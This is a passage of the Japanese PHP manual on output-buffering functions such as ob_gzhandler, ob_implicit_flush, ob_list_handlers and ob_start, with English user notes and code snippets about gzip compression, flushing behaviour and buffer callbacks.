No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl 16-Apr-2005 05:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
    $use_page_cache = 1;
if (!isset($use_compression))
    $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (eregi("opera",$agent)){
    $browser="opera";
    }elseif(eregi("msie",$agent)){
    $browser="msie";
    }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
    // Turn on compression, makes quite a difference in bandwith usage.
    // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
    // it's either compression or caching. We choose caching.
    ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
    // MD5 is slow, however with a fast server (PIII or better) we should be OK
    $hash = md5($content);
    $headers = getallheaders();
    if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
    {
    header('HTTP/1.1 304 Not Modified');
    exit;
    }
    header("ETag: \"$hash\"");
}

print $content;

?>
grange (at) club-internet (dot) fr 07-Mar-2005 07:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
mazsolt at yahoo dot com 18-Mar-2004 07:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
brewthatistrue at plzYnoAspamHorOevilO dot com 21-Sep-2003 02:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
    $phpver = phpversion();

    $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

    if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
    {
        if ( extension_loaded('zlib') )
        {
            ob_start('ob_gzhandler');
        }
    }
    else if ( $phpver > '4.0' )
    {
        if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
        {
            if ( extension_loaded('zlib') )
            {
                $do_gzip_compress = TRUE;
                ob_start();
                ob_implicit_flush(0);

                header('Content-Encoding: gzip');
            }
        }
    }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
    //
    // Borrowed from php.net!
    //
    $gzip_contents = ob_get_contents();
    ob_end_clean();

    $gzip_size = strlen($gzip_contents);
    $gzip_crc = crc32($gzip_contents);

    $gzip_contents = gzcompress($gzip_contents, 9);
    $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
    echo $gzip_contents;
    echo pack('V', $gzip_crc);
    echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com 18-Sep-2003 07:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
    my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
    // ...
    // ... Insert your error handling here ...
    // ...
    return 'An internal error occurred.';
  } else {
    // The page rendered without any errors, so compress
    // and output.
    return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca 06-Sep-2003 04:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isn?t affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
09-Apr-2003 10:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net 03-Apr-2003 06:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com 08-Mar-2003 03:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net 04-Mar-2003 11:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com 06-Nov-2002 03:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
psychones at ifrance dot com 08-Aug-2002 05:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net 24-Jun-2002 07:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
xn at bnw dot com 12-Apr-2002 08:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com 04-Mar-2002 10:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.


自動フラッシュをオンまたはオフにする

  • ≪ ob_gzhandler
  • ob_list_handlers ≫
  • PHP Manual
  • 出力制御 関数
  • 自動フラッシュをオンまたはオフにする

ob_implicit_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_implicit_flush — 自動フラッシュをオンまたはオフにする

説明

ob_implicit_flush ( bool $flag = true ) : void

ob_implicit_flush() は、 自動フラッシュをオンまたはオフに切替えます。 自動フラッシュにより、出力関数のコールが行われるたびに フラッシュ操作が行われるようになります。このため、flush() を明示的にコールする必要はなくなります。

パラメータ

flag

true で自動フラッシュをオンに、false でオフにします。

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | flag は、bool 型の値を期待するようになりました。 これより前のバージョンでは、数値型が期待されていました。

参考

  • flush() - システム出力バッファをフラッシュする
  • ob_start() - 出力のバッファリングを有効にする
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする

User Contributed Notes

damian at thebestisp dot dot dot com 28-Mar-2016 04:06
It seems like some people are using this to workaround output buffering instead of simply turning it off. To me, if you have an output buffer, it's there for a reason, otherwise you would either do stuff and use ob_flush() or ob_end_flush(), do stuff, and maybe ob_start() again.
Here's how to properly end all output buffers without having to suppress errors (due to there not being any buffers). If you do want a single level of output buffering, I've included a piece for that as well.
<?php
#Get rid of output buffer entirely
while (ob_get_level()) {ob_end_flush();}

#Make sure we have 1 level of output buffering if this isn't CLI.
$notcli=(int)(PHP_SAPI!=='cli');
while (($diff=ob_get_level()-$notcli)!==0) {
    if ($diff>0) {ob_end_flush();}
    else {ob_start();}
}
Pedro Gimeno 22-Feb-2015 06:11
Note that the name ob_implicit_flush is misleading. Despite its name, this function does NOT work with the user output buffer, i.e. the one that the rest of the ob_* functions work with. It will NOT do an automatic ob_flush(). It will do an automatic flush(). Different things.

For example, the following script:

<?php
  ob_implicit_flush();
  for($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

will be equivalent to this one:

<?php
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    flush();
    sleep(1);
  }
?>

That script will not output anything until the end, if 'output_buffering' is set to 'on' in php.ini. Unfortunately, there is no way to do an implicit ob_flush() after each output, that I am aware of.

If you want the output to come out as it is generated, one solution is to *also* add ob_end_clean() or ob_end_flush() to the beginning of the script:

<?php
  ob_end_flush();
  ob_implicit_flush();
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

This will output as it goes. This is only a problem if you only want one part of the output to come out in real time, and want the rest buffered. In that case, since there's no function to do an implicit ob_flush() every time, you need to call it explicitly. For example, this works:

<?php
  ob_start(); // not needed if output_buffering is on in php.ini
  ob_implicit_flush(); // implicitly calls flush() after every ob_flush()

  echo "This output is buffered.\n";
  echo "As is this.\n";

  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    ob_flush();
    sleep(1);
  }
?>

Note also that some browsers may wait until they have a certain amount of output. See flush [ http://php.net/manual/en/function.flush.php ] for details. It was my case with Firefox (Iceweasel 17.0); unless I output 1024 bytes at the beginning, it does not begin to output.
rocca at start dot ca 09-Oct-2007 11:42
You can also get the unbuffered output with Linux/Apache without having to do the implicit flush after each line by calling:

ob_implicit_flush(true);
ob_end_flush();

...at the start of the script.
Paul Yanchenko 21-Jan-2006 04:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com 18-Aug-2003 02:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com 07-Jul-2003 12:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...


使用中の出力ハンドラの一覧を取得する

  • ≪ ob_implicit_flush
  • ob_start ≫
  • PHP Manual
  • 出力制御 関数
  • 使用中の出力ハンドラの一覧を取得する

ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_list_handlers — 使用中の出力ハンドラの一覧を取得する

説明

ob_list_handlers ( ) : array

使用中の出力ハンドラの一覧を返します。

返り値

これは、使用中の出力ハンドラを（もし存在すれば）配列で返します。もし output_buffering が 有効になっているか、あるいは ob_start() で 無名関数が使用されている場合、ob_list_handlers() は "default output handler" を返します。

例

例1 ob_list_handlers() の例

<?php
// 出力バッファリングを On にします
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// 無名関数
ob_start(function($string) { return $string; });
print_r(ob_list_handlers());
ob_end_flush();
?>

上の例の出力は以下となります。

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => Closure::__invoke
)

参考

  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_get_flush() - 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する
  • ob_start() - 出力のバッファリングを有効にする

User Contributed Notes

There are no user contributed notes for this page.


出力のバッファリングを有効にする

  • ≪ ob_list_handlers
  • output_add_rewrite_var ≫
  • PHP Manual
  • 出力制御 関数
  • 出力のバッファリングを有効にする

ob_start

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_start — 出力のバッファリングを有効にする

説明

ob_start ( callable $callback = null , int $chunk_size = 0 , int $flags = PHP_OUTPUT_HANDLER_STDFLAGS ) : bool

この関数は出力のバッファリングをオンにします。 出力のバッファリングを有効にすると、 (ヘッダ以外の) スクリプトからの出力は実際には行われず、 代わりに内部バッファに保存されます。

この内部バッファの内容は、ob_get_contents() を用いて文字列変数にコピーされます。 内部バッファの内容を出力するには ob_end_flush() を使用します。 ob_end_clean() は、バッファの内容を出力せずに消去します。

警告

web サーバーによっては (例: Apache)、コールバック関数からコールされた際に、 スクリプトの実行ディレクトリを変更するものがあります。 コールバック関数の内部で chdir(dirname($_SERVER['SCRIPT_FILENAME'])) などと指定することで、これをもとに戻すことが可能です。

出力バッファはスタッカブルであり、このため、他の ob_start() がアクティブの間に ob_start() をコールすることが可能です。この場合、 ob_end_flush() を適切な回数コールするようにしてください。 複数の出力コールバック関数がアクティブの場合、 ネストした順番で逐次連続的に出力がフィルタ処理されます。

パラメータ

callback

オプションの引数 callback 関数を指定することが可能です。この関数は、パラメータとして文字列をとり、 文字列を返します。このコールバック関数は、 出力バッファがフラッシュ (送信) あるいは消去 (ob_flush(), ob_clean() あるいは同等の関数で) された場合、 またはリクエストの最後にブラウザに出力をフラッシュする際にコールされます。 callback がコールされた際に、 この関数は出力バッファの内容をパラメータとして受け取ります。このコールバック関数は、 新規の出力バッファを実際に出力される結果として返す必要があり、 この結果はブラウザに送信されます。 callback がコール可能な関数ではない場合は false を返します。 コールバックのシグネチャは、次のとおりです。

handler ( string $buffer , int $phase = ? ) : string
buffer
出力バッファの内容。
phase
PHP_OUTPUT_HANDLER_* 定数 のビットマスク

callback が false を返すと、元の入力がそのままブラウザに送信されます。

callback パラメータに null 値を渡すと、 これをバイパスすることができます。

ob_end_clean()、 ob_end_flush()、ob_clean()、 ob_flush() および ob_start() をコールバック関数の内部からコールすることはできません。 実際にコールした際の挙動は未定義です。バッファの内容を消去したい際には、 コールバック関数から "" (空文字列) を返してください。 同じく、print_r($expression, true) や highlight_file($filename, true) のような 出力バッファリング関数も、 コールバック関数の内部からコールすることはできません。

注意:

Web ページの圧縮をサポートする圧縮 gz エンコード されたデータの Web ブラウザへの送信を容易にするために ob_gzhandler() が存在します。 ob_gzhandler() は、ブラウザが受け入れる content encoding の型を調べ、それに基づいて出力を返します。

chunk_size

オプションのパラメータ chunk_size が渡された場合、 バッファの長さが chunk_size バイトを超えるたびに、 出力の後でバッファがフラッシュされます。 デフォルト値は 0 で、これは出力関数がコールされるのが 出力バッファが閉じたときだけであることを意味します。

PHP 5.4.0 より前のバージョンでは、1 にも特別な意味があり、 これを指定するとチャンクサイズが 4096 バイトになります。

flags

flags はビットマスクで、出力バッファ上でどんな操作ができるのかを制御します。 デフォルトでは、出力バッファのクリーン、フラッシュ、削除がすべてできるようになっています。 これは、明示的に PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE と設定したり、あるいは短縮形で PHP_OUTPUT_HANDLER_STDFLAGS と設定したりするのと同じです。

各フラグが、次の表のように関数へのアクセスを制御します。

定数 | 関数
PHP_OUTPUT_HANDLER_CLEANABLE | ob_clean()、 ob_end_clean() および ob_get_clean()
PHP_OUTPUT_HANDLER_FLUSHABLE | ob_end_flush()、 ob_flush() および ob_get_flush()
PHP_OUTPUT_HANDLER_REMOVABLE | ob_end_clean()、 ob_end_flush() および ob_get_flush()

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ユーザー定義のコールバック関数の例

<?php

function callback($buffer)
{
  // apples を全て oranges に置換する
  return (str_replace("apples", "oranges", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>It's like comparing apples to oranges.</p>
</body>
</html>
<?php

ob_end_flush();

?>

上の例の出力は以下となります。

<html>
<body>
<p>It's like comparing oranges to oranges.</p>
</body>
</html>

例2 削除不可能な出力バッファを、PHP 5.3 と 5.4 のどちらでも動くように作る例

<?php

if (version_compare(PHP_VERSION, '5.4.0', '>=')) {
  ob_start(null, 0, PHP_OUTPUT_HANDLER_STDFLAGS ^
    PHP_OUTPUT_HANDLER_REMOVABLE);
} else {
  ob_start(null, 0, false);
}

?>

参考

  • ob_get_contents() - 出力用バッファの内容を返す
  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_implicit_flush() - 自動フラッシュをオンまたはオフにする
  • ob_gzhandler() - 出力バッファを gzip 圧縮するための ob_start コールバック関数
  • ob_iconv_handler() - 出力バッファハンドラとして文字エンコーディングを変換する
  • mb_output_handler() - 出力バッファ内で文字エンコーディングを変換するコールバック関数
  • ob_tidyhandler() - バッファを修正するための ob_start コールバック関数

User Contributed Notes

mbutscher at gmx dot de 24-Sep-2016 12:52
In case of an error the contents of the output buffer are shown along with the error message. If it is really important that this does never happen, you can do the following (but this also eats up the error message):

<?php
$outputbufferOutput = FALSE;

function switchableOutputHandler($buffer) {
    global $outputbufferOutput;

    if ($outputbufferOutput)
        return $buffer;
    else
        return "";
}

function internob_start() {
    global $outputbufferOutput;

    $outputbufferOutput = FALSE;
    return ob_start("switchableOutputHandler");
}

function internob_get_clean() {
    global $outputbufferOutput;

    $outputbufferOutput = TRUE;
    $result = ob_get_clean();
    $outputbufferOutput = FALSE;
    return $result;
}

?>

You can then use internob_start() and internob_get_clean() instead of ob_start() and ob_get_clean(). Other functions can be replaced accordingly.
bty-adminf2 at trebly dot net 28-Jul-2015 05:27
This concerns the default values used for ob_start().

Note that I could verify that ob_start() and ob_start(null,0) are not always equivalent.

It seems that with ob_start() the output buffer is open with current default parameters of your configuration if they have been explicitly defined.

So, if you have set $chunk_size to any value previously and send data larger than $chunk_size the data will be automatically flushed by blocks of $chunk_size.

If you explicitely define $chunk_size=0, later, when you will use any function as $my_ob_dataoutput=ob_get_clean(); you  will get back the whole content of your output (quite unlimited with $chunk_size=0).

I discover this because my var $my_ob_dataoutput was truncated. Using "ob_get_status (true)" function, I could verify that an error (in a lower level or by default out of my control) was setting previously the $chunk_size of ob at 4096.
I changed "ob_start()" for "ob_start(null,0)" and everything became OK.
jhlavon 19-Jun-2013 12:47
When used in constructor part of class it have to be prefixed by "self::" or by classname, else PHP fails to create buffer.

function __construct ()
{

$bo = ob_start ("self::callback_ob") ;
...
}
me at haravikk dot com 19-Jun-2012 07:26
I think it's worth noting that while you can't call any output functions such as echo or print from within a callback function, you can still send headers (presumably including cookies, haven't checked). Of course this only works in the first callback, like so:

<?php

function myCallback($buffer, $flags) {
    if ($flags & PHP_OUTPUT_HANDLER_START) {
        header('Server: LastMinuteHeaderServer');
    }
}

ob_start('myCallback');
echo "Hello World!";
ob_end_flush();

?>

Not the most inspiring example, but in this case the code is able to sneak a last-minute header in before the headers part of the response is sent. This can be handy if you want to avoid replacing header values that are uncertain.

For example if your code may return an image, but you don't want to set content type until you're sure that the image can be sent successfully, you can use the callback to leave the decision right until the very last moment, by which point you're hopefully sure of what's being sent in the HTTP body.
mchojrin at gmail dot com 30-May-2012 02:23
Just a word of warning to those like myself who are upgrading from 5.3. I have a piece of code that used to work:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : '' ) ) {
    ob_start();
}
?>

Which is not working anymore (I get an error like: Warning: ob_start(): function '' not found or invalid function name).

It's easily fixed though, just changed the '' to a null, like this:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : null ) ) {
    ob_start();
}
?>

Which preserves the code intention but works :)
Filip Dalge 22-Mar-2012 12:24
When a fatal error is thrown, PHP will output the current buffer of Output-Control without postprocessing before printing the error message. If you are working with several output control levels, this might not result in the desired behavior.

You can use an output callback handler to handle this and discard the output.

Therefore, use ob_start("ob_error_handler") in connection with the following:

function ob_error_handler($str) {
    $error = error_get_last();
    if ($error && $error["type"] == E_USER_ERROR || $error["type"] == E_ERROR) {
        return ini_get("error_prepend_string").
          "\nFatal error: $error[message] in $error[file] on line $error[line]\n".
          ini_get("error_append_string");
    }
    return $str;
}
Anonymous 08-Feb-2011 07:32
In case you're in for some readable representation for flags, this is a variant as a private class member:

<?php
class foo {
    private function getFlagsReadable($flags) {
        $flagNames = array('PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END');
        $readable = '';
        foreach($flagNames as $flagName)
            if ($flags & constant($flagName) )
                $readable .= (strlen($readable) ? ' | ' : '') . $flagName
            ;
        return $readable;
    }
}
?>
Chris 24-Nov-2010 04:35
Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering.

If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob.

For instance:
<?php
  ob_start();
  myClass::renderPng(); //header("Content-Type: image/png"); in here
  $pngString = ob_get_contents();
  ob_end_clean();
?>

will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does.

You need to set the correct image type (text/html) manually in this case.
Bitwise 21-Oct-2009 12:41
There is no start flag problem. One just has to notice that the second parameter is not a mode but consists of bitwise-OR'ed flags.

<?php
function ob_handler($string, $flags) {
        static $input = array();
        if ( $flags & PHP_OUTPUT_HANDLER_START )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_START";
        if ( $flags & PHP_OUTPUT_HANDLER_CONT )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_CONT";
        if ( $flags & PHP_OUTPUT_HANDLER_END )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_END";
        $input[] = implode(' | ', $flags_sent) . " ($flags): $string<br />";
        $output  = "$string<br />";
        if ( $flags & PHP_OUTPUT_HANDLER_END ) {
                $output .= '<br />';
                foreach($input as $k => $v) $output .= "$k: $v";
        }
        return $output;
}

ob_start('ob_handler');

echo 'flush';
ob_flush();

echo 'flush 2';
ob_flush();

echo 'clean';
ob_clean();

echo 'flush 3';
ob_flush();

echo 'end flush';
ob_end_flush();
?>

flush
flush 2
flush 3
end flush

0: PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_CONT (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush
clancy hood at gmail dot com 19-Sep-2009 05:31
With ob callback: note that the second parameter sent to your method won't help you differentiate between flush calls and calls to ob_clean, but the buffer contents is sent in both cases, so you end up parsing data that isn't going to be used. Also, note that the constant PHP_OUTPUT_HANDLER_START is never actually sent, rather the integer "3" turns up on first flush:
<?php

    function ob_handler($string, $flag){
        static $input = array();
        $done = false;
        switch($flag){
            case PHP_OUTPUT_HANDLER_START:
                $flag_sent = "PHP_OUTPUT_HANDLER_START ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_CONT:
                $flag_sent = "PHP_OUTPUT_HANDLER_CONT ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_END:
                $done = true;
                $flag_sent = "PHP_OUTPUT_HANDLER_END ($flag)";
                break;
            default:
                $flag_sent = "Flag is not a constant ($flag)";
        }
        $input[] = "$flag_sent: $string<br />";
        $output = "$string<br />";
        if(!$done) return $output;
        // print_r($input, 1) causes an error and var_export just doesn't work
        $output .= '<br />';
        foreach($input as $k=>$v) $output .= "$k: $v";
        return $output;
    }

    ob_start('ob_handler');

    echo 'flush';
    ob_flush();

    echo 'flush 2';
    ob_flush();

    echo 'clean';
    ob_clean();

    echo 'flush 3';
    ob_flush();

    echo 'end flush';
    ob_end_flush();
?>
?
flush
flush 2
flush 3
end flush

0: Flag is not a constant (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush

I suppose the START flag problem *may* be a bug but I'm not able to upgrade before reporting since I must have the same version as my server (I'm on PHP 5.2.6). If anyone has 5.2.11 or other stable version feel free to test/report as you see fit.
mariusads at helpedia dot com 02-Jul-2009 03:02
Make sure the editor you use does not add the UTF8/UTF16 BOM at the start of the scripts if you want to use ob_start("ob_gzhandler");

If those three characters are present, browsers like Firefox won't be able to decode the pages and will report:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

Google Chrome will simply report "Error 2 (net::ERR_FAILED): Unknown error."

With the ob_start command commented out, the page is successfully load and the browser will usually detect the BOM and not show it on the page, so everything's hard to debug.
cj at ceejayoz dot com 29-Dec-2008 08:45
Note that since PHP 5.1.x, all objects have their destructors called before the output buffer callback function executes. Thus, globalised objects will not be available as expected in the function.

This is stated to be intended behaviour, per http://bugs.php.net/bug.php?id=40104
codextasy at gmail dot com 19-Sep-2008 01:26
There is a difference between the documentation and real callback functions invocation.
Manual says: "The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request."

Actually, the callback function, once set by ob_start(), will be called regardless.
Here are the functions that invoke callback function immediately:
ob_clean
ob_end_clean
ob_end_flush
ob_flush
ob_get_clean

BUT only two of them return the result returned by the callback (ob_end_flush, ob_flush), other functions discard it.

At the end of the request, even if none of the functions listed above is called, the callback will be called anyway, and its result will be returned to the browser (well, at least this is corresponding to the manual).

There is one more trick:
If you set callback function with chunk_size > 1, callback function will be called each time output buffer is equal or exceeds chunk_size and its result will be output to the browser, even if you call any of ob_clean(), ob_end_clean(), ob_get_clean() later, so be aware of this fact.
fordiman at gmail dot com 27-Jun-2008 09:35
